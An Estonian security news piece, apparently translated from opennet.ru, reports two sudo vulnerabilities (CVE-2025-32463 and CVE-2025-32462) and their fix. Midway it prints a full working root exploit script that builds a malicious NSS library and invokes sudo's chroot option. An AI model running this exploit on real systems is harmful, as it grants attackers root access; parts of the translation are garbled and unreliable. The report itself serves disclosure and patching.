Haavatavused utiliidis sudo, mis vĂ”imaldavad saada sĂŒsteemis root-reid.

Sudo pakki, mida kasutatakse kÀskude tÀitmiseks teiste kasutajate nimel, sisaldab haavatavust (CVE-2025-32463), mis vÔimaldab mistahes privileegideta kasutajal kÀivitada koodi root-juhina, isegi kui kasutajat ei ole sudoers konfiguratsioonis mainitud. Probleem puudutab distributsioone, mis kasutavad konfiguratsioonifaili /etc/nsswitch.conf, nÀiteks on haavatavuse Àrakasutamise vÔimalus tÔestatud Ubuntu 24.04 ja Fedora 41 puhul.

Haavatavus avaldub vaikeseades ja on kinnitatud sudo vÀljaannetes alates 1.9.14 kuni 1.9.17 (vÔib mÔjutada kÔiki versioone alates 1.8.33). Probleem on lahendatud sudo uuenduses 1.9.17p1. Uue versiooni paketi vÔi paranduse olekut distributsioonides saab kontrollida jÀrgmistes lingides (kui leht ei ole saadaval, siis arendajad ei ole veel probleemi kÀsitlemisega alustanud): Debian, Ubuntu, Fedora, SUSE/openSUSE, RHEL, Gentoo ja Arch (1, 2).

Probleem on tingitud sellest, et kui kasutada valikut „-R” („—chroot”) kĂ€skude kĂ€ivitamiseks chroot-keskkonnas valitud juurkatalooge, laaditi fail /etc/nsswitch.conf uue juurkatalooga kontekstis, mitte sĂŒsteemi kataloogist. Kuna kasutaja vĂ”ib oma chroot'i juurkataloogina kasutada oma katalooge, vĂ”ib ta seal paikneda ka nsswitch.conf konfiguratsioonifail. Kontrollides NSS (Name Service Switch) allalaaditud faili /etc/nsswitch.conf, saab kasutaja lisada sellesse seadeid, mis toovad kaasa tĂ€iendavate töötlejate kutsumise. Sellised töötlejad laetakse NSS-i kaudu jagatud teekide kujul, mis vĂ”ivad samuti asuda kasutaja kontrolli all olevas kataloogis. Asendades oma teegi, saab kasutaja tagada, et sellel oleks juurĂ”igustes koodi tĂ€itmine, kuna NSS-i töötlemine toimub enne privileegide tĂŒhistamist.

NĂ€idis eksploit: #!/bin/bash STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX) cd ${STAGE?} || exit 1 cat > woot1337.c<<EOF #include <stdlib.h> #include <unistd.h> __attribute__((constructor)) void woot(void) { setreuid(0,0); setregid(0,0); chdir("/"); execl("/bin/bash", "/bin/bash", NULL); } EOF mkdir -p woot/etc libnss_ echo "passwd: /woot1337" > woot/etc/nsswitch.conf cp /etc/group woot/etc gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c echo "woot!" sudo -R woot woot rm -rf ${STAGE?}

Sudo versioonis 1.9.17p1 on samuti kĂ”rvaldatud teine haavatavus (CVE-2025-32462), mis vĂ”imaldab kĂ€ivitada kĂ€ske root-Ă”igustega, kuid mis avaldub ainult muddyudsudoers konfiguratsioonides, kus "host" parameeter on seadistatud vÀÀrtusele, mis erineb ALL-st vĂ”i praeguse hosti nimest. Haavatavus on pĂ”hjustatud veast, mis lubas "-h" ("—host") valikut kasutada mitte ainult koos "-l" ("—list") valikuga, et kuvada hostiga seotud privileege, vaid ka kĂ€skude kĂ€ivitamisel. Seega sai kasutaja sudo kĂ€ivitamisel mĂ€rkida mis tahes hosti ja kringida sudoers reeglite hosti nime jĂ€rgi seatud piiranguid.

RĂŒnne rĂŒnnakuks peab kasutaja olema sudoers-failis, nĂ€iteks kui seadistustes on mĂ€rgitud „testuser testhost = ALL“, siis sai kasutaja „testuser“ kĂ€ivitada kĂ€ske juurĂ”igustega mistahes hostides, mitte ainult hostis testhost. Haavatavused ei mĂ”juta konfiguratsiooni, kus seaded on kujul „testuser ALL = ALL“ vĂ”i ilma selgete reegliteta konkreetse kasutaja jaoks.

Allikas: opennet.ru

Osta usaldusvÀÀrne veebihosting DDoS kaitsega, VPS VDS serverid đŸ”„ Osta usaldusvÀÀrne veebihosting DDoS kaitsega, VPS VDS serverid | ProHoster